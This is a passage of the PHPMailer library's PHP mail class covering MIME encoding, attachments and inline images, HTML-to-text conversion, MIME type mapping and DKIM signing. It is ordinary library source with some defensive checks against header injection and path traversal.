     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
